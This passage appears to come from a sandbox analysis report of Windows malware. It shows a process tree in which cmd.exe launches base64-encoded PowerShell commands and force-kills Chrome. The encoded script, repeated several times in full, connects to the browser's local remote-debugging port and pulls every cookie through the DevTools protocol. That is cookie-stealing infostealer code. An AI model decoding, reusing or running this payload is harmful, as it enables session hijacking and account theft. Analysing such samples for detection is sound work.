                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2580,i,17110642413677152482,15583301051537192588,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:14
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:1512
                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADYAOAA0AC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA2ADgANAAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA="
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:4700
                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                              powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADYAOAA0AC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuAG4AZQBjAHQAZQBkACkAIAB7ACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAcABvAHIAdAAgAG4AbwB0ACAAbwBwAGUAbgAiAH0AJwA7ACAAZQB4AGkAdAAgAH0ACgB0AHIAeQAgAHsACgAgACAAIAAgACQAcABhAGcAZQAgAD0AIAAkAHAAYQBnAGUAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgB0AHkAcABlACAALQBlAHEAIAAnAHAAYQBnAGUAJwAgAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAkAHAAYQBnAGUAKQAgAHsAIAAkAHcAcwBfAHUAcgBsACAAPQAgACQAcABhAGcAZQAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAgAH0ACgAgACAAIAAgAGUAbABzAGUAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdgBlAHIAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAAIgBoAHQAdABwADoALwAvADEAMgA3AC4AMAAuADAALgAxADoAOQA2ADgANAAvAGoAcwBvAG4ALwB2AGUAcgBzAGkAbwBuACIAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAIAA1AAoAIAAgACAAIAAgACAAIAAgACQAdwBzAF8AdQByAGwAIAA9ACAAJAB2AGUAcgAuAHcAZQBiAFMAbwBjAGsAZQB0AEQAZQBiAHUAZwBnAGUAcgBVAHIAbAAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB3AHMAXwB1AHIAbAApACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwB7ACIAcgBlAHMAdQBsAHQAIgA6AHsAIgBjAG8AbwBrAGkAZQBzACIAOgBbAF0AfQAsACIAZQByAHIAbwByACIAOgAiAG4AbwAgAHcAcwAgAHUAcgBsACIAfQAnADsAIABlAHgAaQB0ACAAfQAKAAoAIAAgACAAIAAkAHcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBDAGwAaQBlAG4AdABXAGUAYgBTAG8AYwBrAGUAdAAKACAAIAAgACAAJABjAHQAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBUAGgAcgBlAGEAZABpAG4AZwAuAEMAYQBuAGMAZQBsAGwAYQB0AGkAbwBuAFQAbwBrAGUAbgBTAG8AdQByAGMAZQAKACAAIAAgACAAJABjAHQAcwAuAEMAYQBuAGMAZQBsAEEAZgB0AGUAcgAoADEAMAAwADAAMAApAAoAIAAgACAAIAAkAHcAcwAuAEMAbwBuAG4AZQBjAHQAQQBzAHkAbgBjACgAWwBVAHIAaQBdACQAdwBzAF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA=
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:1328
                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe 2>nul"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                              PID:3968
                                                                                                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                taskkill /F /IM chrome.exe
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                PID:5620
                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAGYAYQBsAHMAZQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAxADUAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAYQBnAGUAcwAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAiAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgA5ADIAOQA5AC8AagBzAG8AbgAiACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcABhAGcAZQBzACkAIAB7ACAAJABjAG8AbgBuAGUAYwB0AGUAZAAgAD0AIAAkAHQAcgB1AGUAOwAgAGIAcgBlAGEAawAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwACAAfQAKAH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAGMAbwBuA